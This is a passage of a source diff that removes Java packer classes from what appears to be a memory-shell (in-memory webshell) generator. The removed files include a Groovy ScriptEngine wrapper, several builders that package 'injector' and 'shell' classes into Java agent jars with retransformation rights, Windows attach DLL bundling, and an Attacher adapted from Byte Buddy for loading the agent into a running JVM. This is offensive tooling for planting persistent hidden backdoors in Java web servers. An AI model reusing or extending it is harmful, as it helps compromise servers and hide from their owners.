.replace("{{base64Str}}", injectorBytesBase64Str);
|
||||
}
|
||||
}
|
||||
@@ -1,11 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.groovy;
|
||||
|
||||
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class GroovyPacker implements AggregatePacker {
|
||||
|
||||
}
|
||||
-19
@@ -1,19 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.groovy;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class GroovyScriptEnginePacker implements Packer {
|
||||
String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
@@ -1,170 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.jar;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.net.URL;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.util.Enumeration;
|
||||
import java.util.Map;
|
||||
import java.util.jar.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/1
|
||||
*/
|
||||
public class AgentJarPacker implements JarPacker {
|
||||
private static Path tempBootPath;
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public byte[] packBytes(GenerateResult generateResult) {
|
||||
Manifest manifest = createManifest(generateResult.getInjectorClassName());
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
String relocatePrefix = "shade/";
|
||||
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
|
||||
addDependencies(targetJar, relocatePrefix);
|
||||
addClassesToJar(targetJar, generateResult, relocatePrefix);
|
||||
}
|
||||
return outputStream.toByteArray();
|
||||
}
|
||||
|
||||
private Manifest createManifest(String agentClass) {
|
||||
Manifest manifest = new Manifest();
|
||||
Attributes attributes = manifest.getMainAttributes();
|
||||
attributes.putValue("Manifest-Version", "1.0");
|
||||
attributes.putValue("Agent-Class", agentClass);
|
||||
attributes.putValue("Premain-Class", agentClass);
|
||||
attributes.putValue("Can-Redefine-Classes", "true");
|
||||
attributes.putValue("Can-Retransform-Classes", "true");
|
||||
return manifest;
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
|
||||
String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
|
||||
addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) {
|
||||
String dependencyPackage = Opcodes.class.getPackage().getName();
|
||||
// Add injector class
|
||||
addClassEntry(targetJar,
|
||||
generateResult.getInjectorClassName(),
|
||||
generateResult.getInjectorBytes(),
|
||||
dependencyPackage,
|
||||
relocatePrefix);
|
||||
|
||||
// Add shell class
|
||||
addClassEntry(targetJar,
|
||||
generateResult.getShellClassName(),
|
||||
generateResult.getShellBytes(),
|
||||
dependencyPackage,
|
||||
relocatePrefix);
|
||||
|
||||
// Add inner classes
|
||||
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
|
||||
addClassEntry(targetJar,
|
||||
entry.getKey(),
|
||||
entry.getValue(),
|
||||
dependencyPackage,
|
||||
relocatePrefix);
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
|
||||
String dependencyPackage, String relocatePrefix) {
|
||||
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||
byte[] processedBytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage), true);
|
||||
targetJar.write(processedBytes);
|
||||
targetJar.closeEntry();
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
|
||||
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
||||
String sourceUrlString = sourceUrl.toString();
|
||||
if (sourceUrlString.contains("!BOOT-INF")) {
|
||||
String path = sourceUrlString.substring("jar:nested:".length());
|
||||
path = path.substring(0, path.indexOf("!/"));
|
||||
String[] split = path.split("/!");
|
||||
String bootJarPath = split[0];
|
||||
String internalJarPath = split[1];
|
||||
if (tempBootPath == null) {
|
||||
tempBootPath = Files.createTempDirectory("mem-shell-boot");
|
||||
unzip(bootJarPath, tempBootPath.toFile().getAbsolutePath());
|
||||
}
|
||||
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
|
||||
}
|
||||
try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
|
||||
Enumeration<JarEntry> entries = sourceJar.entries();
|
||||
while (entries.hasMoreElements()) {
|
||||
JarEntry entry = entries.nextElement();
|
||||
String entryName = entry.getName();
|
||||
if (entryName.equals("META-INF/MANIFEST.MF")
|
||||
|| entryName.contains("module-info.class")) {
|
||||
continue;
|
||||
}
|
||||
if (!entry.isDirectory()) {
|
||||
try (InputStream entryStream = sourceJar.getInputStream(entry)) {
|
||||
byte[] bytes = IOUtils.toByteArray(entryStream);
|
||||
if (StringUtils.isNoneEmpty(relocatePrefix)) {
|
||||
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
|
||||
if (entryName.endsWith(".class")) {
|
||||
if (bytes.length > 0) {
|
||||
bytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName), true);
|
||||
}
|
||||
} else {
|
||||
targetJar.putNextEntry(entry);
|
||||
}
|
||||
} else {
|
||||
targetJar.putNextEntry(entry);
|
||||
}
|
||||
targetJar.write(bytes);
|
||||
}
|
||||
}
|
||||
targetJar.closeEntry();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Extracts a JAR file to a temporary directory
|
||||
*
|
||||
* @param jarPath Path to the source JAR file
|
||||
* @param tempPath Path to the temporary directory
|
||||
*/
|
||||
@SneakyThrows
|
||||
public static void unzip(String jarPath, String tempPath) {
|
||||
try (JarFile jarFile = new JarFile(jarPath)) {
|
||||
Enumeration<JarEntry> entries = jarFile.entries();
|
||||
while (entries.hasMoreElements()) {
|
||||
JarEntry jarEntry = entries.nextElement();
|
||||
File targetFile = new File(tempPath, jarEntry.getName());
|
||||
|
||||
if (jarEntry.isDirectory()) {
|
||||
targetFile.mkdirs();
|
||||
continue;
|
||||
}
|
||||
|
||||
targetFile.getParentFile().mkdirs();
|
||||
try (InputStream inputStream = jarFile.getInputStream(jarEntry);
|
||||
FileOutputStream outputStream = new FileOutputStream(targetFile)) {
|
||||
IOUtils.copy(inputStream, outputStream);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
-190
@@ -1,190 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.jar;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.jar.attach.Attacher;
|
||||
import com.reajason.javaweb.memshell.packer.jar.attach.VirtualMachine;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.net.URL;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.util.Enumeration;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.jar.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/1
|
||||
*/
|
||||
public class AgentJarWithJDKAttacherPacker implements JarPacker {
|
||||
private static Path tempBootPath;
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public byte[] packBytes(GenerateResult generateResult) {
|
||||
String packageName = CommonUtil.getPackageName(generateResult.getInjectorClassName());
|
||||
String mainClassName = packageName + "." + Attacher.class.getSimpleName();
|
||||
Manifest manifest = createManifest(generateResult.getInjectorClassName(), mainClassName);
|
||||
String relocatePrefix = "shade/";
|
||||
|
||||
Map<String, byte[]> classes = new HashMap<>();
|
||||
Map<String, byte[]> attacherClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(Attacher.class, packageName);
|
||||
Map<String, byte[]> virtualMachineClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(VirtualMachine.class, packageName);
|
||||
classes.putAll(attacherClasses);
|
||||
classes.putAll(virtualMachineClasses);
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
|
||||
addDependencies(targetJar, relocatePrefix);
|
||||
addClassesToJar(targetJar, generateResult, relocatePrefix);
|
||||
for (Map.Entry<String, byte[]> entry : classes.entrySet()) {
|
||||
String className = entry.getKey();
|
||||
byte[] bytes = entry.getValue();
|
||||
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||
targetJar.write(ClassBytesShrink.shrink(bytes, true));
|
||||
targetJar.closeEntry();
|
||||
}
|
||||
}
|
||||
return outputStream.toByteArray();
|
||||
}
|
||||
|
||||
private Manifest createManifest(String agentClass, String mainClass) {
|
||||
Manifest manifest = new Manifest();
|
||||
Attributes attributes = manifest.getMainAttributes();
|
||||
attributes.putValue("Manifest-Version", "1.0");
|
||||
attributes.putValue("Agent-Class", agentClass);
|
||||
attributes.putValue("Premain-Class", agentClass);
|
||||
attributes.putValue("Main-Class", mainClass);
|
||||
attributes.putValue("Can-Redefine-Classes", "true");
|
||||
attributes.putValue("Can-Retransform-Classes", "true");
|
||||
return manifest;
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
|
||||
String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
|
||||
addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) {
|
||||
String dependencyPackage = Opcodes.class.getPackage().getName();
|
||||
// Add injector class
|
||||
addClassEntry(targetJar,
|
||||
generateResult.getInjectorClassName(),
|
||||
generateResult.getInjectorBytes(),
|
||||
dependencyPackage,
|
||||
relocatePrefix);
|
||||
|
||||
// Add shell class
|
||||
addClassEntry(targetJar,
|
||||
generateResult.getShellClassName(),
|
||||
generateResult.getShellBytes(),
|
||||
dependencyPackage,
|
||||
relocatePrefix);
|
||||
|
||||
// Add inner classes
|
||||
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
|
||||
addClassEntry(targetJar,
|
||||
entry.getKey(),
|
||||
entry.getValue(),
|
||||
dependencyPackage,
|
||||
relocatePrefix);
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
|
||||
String dependencyPackage, String relocatePrefix) {
|
||||
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||
byte[] processedBytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage), true);
|
||||
targetJar.write(processedBytes);
|
||||
targetJar.closeEntry();
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
|
||||
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
||||
String sourceUrlString = sourceUrl.toString();
|
||||
if (sourceUrlString.contains("!BOOT-INF")) {
|
||||
String path = sourceUrlString.substring("jar:nested:".length());
|
||||
path = path.substring(0, path.indexOf("!/"));
|
||||
String[] split = path.split("/!");
|
||||
String bootJarPath = split[0];
|
||||
String internalJarPath = split[1];
|
||||
if (tempBootPath == null) {
|
||||
tempBootPath = Files.createTempDirectory("mem-shell-boot");
|
||||
unzip(bootJarPath, tempBootPath.toFile().getAbsolutePath());
|
||||
}
|
||||
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
|
||||
}
|
||||
try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
|
||||
Enumeration<JarEntry> entries = sourceJar.entries();
|
||||
while (entries.hasMoreElements()) {
|
||||
JarEntry entry = entries.nextElement();
|
||||
String entryName = entry.getName();
|
||||
if (entryName.equals("META-INF/MANIFEST.MF")
|
||||
|| entryName.contains("module-info.class")) {
|
||||
continue;
|
||||
}
|
||||
if (!entry.isDirectory()) {
|
||||
try (InputStream entryStream = sourceJar.getInputStream(entry)) {
|
||||
byte[] bytes = IOUtils.toByteArray(entryStream);
|
||||
if (StringUtils.isNoneEmpty(relocatePrefix)) {
|
||||
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
|
||||
if (entryName.endsWith(".class")) {
|
||||
if (bytes.length > 0) {
|
||||
bytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName), true);
|
||||
}
|
||||
} else {
|
||||
targetJar.putNextEntry(entry);
|
||||
}
|
||||
} else {
|
||||
targetJar.putNextEntry(entry);
|
||||
}
|
||||
targetJar.write(bytes);
|
||||
}
|
||||
}
|
||||
targetJar.closeEntry();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Extracts a JAR file to a temporary directory
|
||||
*
|
||||
* @param jarPath Path to the source JAR file
|
||||
* @param tempPath Path to the temporary directory
|
||||
*/
|
||||
@SneakyThrows
|
||||
public static void unzip(String jarPath, String tempPath) {
|
||||
try (JarFile jarFile = new JarFile(jarPath)) {
|
||||
Enumeration<JarEntry> entries = jarFile.entries();
|
||||
while (entries.hasMoreElements()) {
|
||||
JarEntry jarEntry = entries.nextElement();
|
||||
File targetFile = new File(tempPath, jarEntry.getName());
|
||||
|
||||
if (jarEntry.isDirectory()) {
|
||||
targetFile.mkdirs();
|
||||
continue;
|
||||
}
|
||||
|
||||
targetFile.getParentFile().mkdirs();
|
||||
try (InputStream inputStream = jarFile.getInputStream(jarEntry);
|
||||
FileOutputStream outputStream = new FileOutputStream(targetFile)) {
|
||||
IOUtils.copy(inputStream, outputStream);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
-210
@@ -1,210 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.jar;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.jar.attach.Attacher;
|
||||
import com.reajason.javaweb.memshell.packer.jar.attach.VirtualMachine;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import com.sun.jna.Platform;
|
||||
import com.sun.jna.platform.DesktopWindow;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.net.URL;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.util.Enumeration;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.jar.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/1
|
||||
*/
|
||||
public class AgentJarWithJREAttacherPacker implements JarPacker {
|
||||
private static Path tempBootPath;
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public byte[] packBytes(GenerateResult generateResult) {
|
||||
String packageName = CommonUtil.getPackageName(generateResult.getInjectorClassName());
|
||||
String mainClassName = packageName + "." + Attacher.class.getSimpleName();
|
||||
Manifest manifest = createManifest(generateResult.getInjectorClassName(), mainClassName);
|
||||
String relocatePrefix = "shade/";
|
||||
|
||||
Map<String, byte[]> classes = new HashMap<>();
|
||||
Map<String, byte[]> attacherClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(Attacher.class, packageName);
|
||||
Map<String, byte[]> virtualMachineClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(VirtualMachine.class, packageName);
|
||||
classes.putAll(attacherClasses);
|
||||
classes.putAll(virtualMachineClasses);
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
|
||||
addDependencies(targetJar, relocatePrefix);
|
||||
addClassesToJar(targetJar, generateResult, relocatePrefix);
|
||||
for (Map.Entry<String, byte[]> entry : classes.entrySet()) {
|
||||
String className = entry.getKey();
|
||||
byte[] bytes = entry.getValue();
|
||||
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||
targetJar.write(ClassBytesShrink.shrink(bytes, true));
|
||||
targetJar.closeEntry();
|
||||
}
|
||||
|
||||
String[] windowsDll = new String[]{
|
||||
"win32-x86/attach_hotspot_windows.dll",
|
||||
"win32-x86-64/attach_hotspot_windows.dll"
|
||||
};
|
||||
for (String dll : windowsDll) {
|
||||
InputStream stream = this.getClass().getClassLoader().getResourceAsStream(dll);
|
||||
if (stream != null) {
|
||||
byte[] bytes = IOUtils.toByteArray(stream);
|
||||
targetJar.putNextEntry(new JarEntry(dll));
|
||||
targetJar.write(bytes);
|
||||
targetJar.closeEntry();
|
||||
}
|
||||
}
|
||||
}
|
||||
return outputStream.toByteArray();
|
||||
}
|
||||
|
||||
private Manifest createManifest(String agentClass, String mainClass) {
|
||||
Manifest manifest = new Manifest();
|
||||
Attributes attributes = manifest.getMainAttributes();
|
||||
attributes.putValue("Manifest-Version", "1.0");
|
||||
attributes.putValue("Agent-Class", agentClass);
|
||||
attributes.putValue("Premain-Class", agentClass);
|
||||
attributes.putValue("Main-Class", mainClass);
|
||||
attributes.putValue("Can-Redefine-Classes", "true");
|
||||
attributes.putValue("Can-Retransform-Classes", "true");
|
||||
return manifest;
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
|
||||
String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
|
||||
addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
|
||||
|
||||
String jnaBaseName = Platform.class.getPackage().getName().replace('.', '/');
|
||||
addDependency(targetJar, Platform.class, jnaBaseName, null);
|
||||
addDependency(targetJar, DesktopWindow.class, jnaBaseName, null);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) {
|
||||
String dependencyPackage = Opcodes.class.getPackage().getName();
|
||||
// Add injector class
|
||||
addClassEntry(targetJar,
|
||||
generateResult.getInjectorClassName(),
|
||||
generateResult.getInjectorBytes(),
|
||||
dependencyPackage,
|
||||
relocatePrefix);
|
||||
|
||||
// Add shell class
|
||||
addClassEntry(targetJar,
|
||||
generateResult.getShellClassName(),
|
||||
generateResult.getShellBytes(),
|
||||
dependencyPackage,
|
||||
relocatePrefix);
|
||||
|
||||
// Add inner classes
|
||||
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
|
||||
addClassEntry(targetJar,
|
||||
entry.getKey(),
|
||||
entry.getValue(),
|
||||
dependencyPackage,
|
||||
relocatePrefix);
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
|
||||
String dependencyPackage, String relocatePrefix) {
|
||||
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||
byte[] processedBytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage), true);
|
||||
targetJar.write(processedBytes);
|
||||
targetJar.closeEntry();
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
|
||||
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
||||
String sourceUrlString = sourceUrl.toString();
|
||||
if (sourceUrlString.contains("!BOOT-INF")) {
|
||||
String path = sourceUrlString.substring("jar:nested:".length());
|
||||
path = path.substring(0, path.indexOf("!/"));
|
||||
String[] split = path.split("/!");
|
||||
String bootJarPath = split[0];
|
||||
String internalJarPath = split[1];
|
||||
if (tempBootPath == null) {
|
||||
tempBootPath = Files.createTempDirectory("mem-shell-boot");
|
||||
unzip(bootJarPath, tempBootPath.toFile().getAbsolutePath());
|
||||
}
|
||||
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
|
||||
}
|
||||
try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
|
||||
Enumeration<JarEntry> entries = sourceJar.entries();
|
||||
while (entries.hasMoreElements()) {
|
||||
JarEntry entry = entries.nextElement();
|
||||
String entryName = entry.getName();
|
||||
if (entryName.startsWith("META-INF")
|
||||
|| entryName.contains("module-info.class")) {
|
||||
continue;
|
||||
}
|
||||
if (!entry.isDirectory()) {
|
||||
try (InputStream entryStream = sourceJar.getInputStream(entry)) {
|
||||
byte[] bytes = IOUtils.toByteArray(entryStream);
|
||||
if (StringUtils.isNoneEmpty(relocatePrefix)) {
|
||||
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
|
||||
if (entryName.endsWith(".class")) {
|
||||
if (bytes.length > 0) {
|
||||
bytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName), true);
|
||||
}
|
||||
} else {
|
||||
targetJar.putNextEntry(entry);
|
||||
}
|
||||
} else {
|
||||
targetJar.putNextEntry(entry);
|
||||
}
|
||||
targetJar.write(bytes);
|
||||
}
|
||||
}
|
||||
targetJar.closeEntry();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Extracts a JAR file to a temporary directory
|
||||
*
|
||||
* @param jarPath Path to the source JAR file
|
||||
* @param tempPath Path to the temporary directory
|
||||
*/
|
||||
@SneakyThrows
|
||||
public static void unzip(String jarPath, String tempPath) {
|
||||
try (JarFile jarFile = new JarFile(jarPath)) {
|
||||
Enumeration<JarEntry> entries = jarFile.entries();
|
||||
while (entries.hasMoreElements()) {
|
||||
JarEntry jarEntry = entries.nextElement();
|
||||
File targetFile = new File(tempPath, jarEntry.getName());
|
||||
|
||||
if (jarEntry.isDirectory()) {
|
||||
targetFile.mkdirs();
|
||||
continue;
|
||||
}
|
||||
|
||||
targetFile.getParentFile().mkdirs();
|
||||
try (InputStream inputStream = jarFile.getInputStream(jarEntry);
|
||||
FileOutputStream outputStream = new FileOutputStream(targetFile)) {
|
||||
IOUtils.copy(inputStream, outputStream);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
-37
@@ -1,37 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.jar;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.util.jar.JarEntry;
|
||||
import java.util.jar.JarOutputStream;
|
||||
import java.util.jar.Manifest;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/22
|
||||
*/
|
||||
public class DefaultJarPacker implements JarPacker {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public byte[] packBytes(GenerateResult generateResult) {
|
||||
String mainClass = generateResult.getInjectorClassName().replace('.', '/') + ".class";
|
||||
String advisorClass = generateResult.getShellClassName().replace('.', '/') + ".class";
|
||||
|
||||
Manifest manifest = new Manifest();
|
||||
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
|
||||
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||
try (JarOutputStream targetJar = new JarOutputStream(byteArrayOutputStream, manifest)) {
|
||||
targetJar.putNextEntry(new JarEntry(mainClass));
|
||||
targetJar.write(generateResult.getInjectorBytes());
|
||||
targetJar.closeEntry();
|
||||
|
||||
targetJar.putNextEntry(new JarEntry(advisorClass));
|
||||
targetJar.write(generateResult.getShellBytes());
|
||||
targetJar.closeEntry();
|
||||
}
|
||||
return byteArrayOutputStream.toByteArray();
|
||||
}
|
||||
}
|
||||
@@ -1,18 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.jar;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/1
|
||||
*/
|
||||
public interface JarPacker extends Packer {
|
||||
/**
|
||||
* 将生成的内存马打包成 bytes
|
||||
*
|
||||
* @param generateResult 生成的内存马信息
|
||||
* @return 字节数组
|
||||
*/
|
||||
byte[] packBytes(GenerateResult generateResult);
|
||||
}
|
||||
-942
@@ -1,942 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.jar.attach;/*
|
||||
* Copyright 2014 - Present Rafael Winterhalter
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.MalformedURLException;
|
||||
import java.net.URISyntaxException;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.security.CodeSource;
|
||||
import java.security.PrivilegedAction;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.Collections;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
|
||||
*/
|
||||
public class Attacher {
|
||||
|
||||
/**
|
||||
* Representation of the bootstrap {@link ClassLoader}.
|
||||
*/
|
||||
private static final ClassLoader BOOTSTRAP_CLASS_LOADER = null;
|
||||
|
||||
/**
|
||||
* The character that is used to mark the beginning of the argument to the agent.
|
||||
*/
|
||||
private static final String AGENT_ARGUMENT_SEPARATOR = "=";
|
||||
|
||||
/**
|
||||
* The agent provides only {@code static} utility methods and should not be instantiated.
|
||||
*/
|
||||
private Attacher() {
|
||||
throw new UnsupportedOperationException("This class is a utility class and not supposed to be instantiated");
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
try {
|
||||
Attacher.attach(args[0]);
|
||||
} catch (Exception e) {
|
||||
if (!e.getMessage().equals("0")) {
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
System.out.println("ok");
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>
|
||||
* Attaches the given agent Jar on the target process which must be a virtual machine process. The default attachment provider
|
||||
* is used for applying the attachment. This operation blocks until the attachment is complete. If the current VM does not supply
|
||||
* any known form of attachment to a remote VM, an {@link IllegalStateException} is thrown. The agent is not provided an argument.
|
||||
* </p>
|
||||
* <p>
|
||||
* <b>Important</b>: It is only possible to attach to processes that are executed by the same operating system user.
|
||||
* </p>
|
||||
*
|
||||
* @param agentJar The agent jar file.
|
||||
* @param processId The target process id.
|
||||
*/
|
||||
public static void attach(File agentJar, String processId) {
|
||||
attach(agentJar, processId, null);
|
||||
}
|
||||
|
||||
public static void attach(String processId) {
|
||||
attach(trySelfResolve(), processId, null);
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>
|
||||
* Attaches the given agent Jar on the target process which must be a virtual machine process. The default attachment provider
|
||||
* is used for applying the attachment. This operation blocks until the attachment is complete. If the current VM does not supply
|
||||
* any known form of attachment to a remote VM, an {@link IllegalStateException} is thrown.
|
||||
* </p>
|
||||
* <p>
|
||||
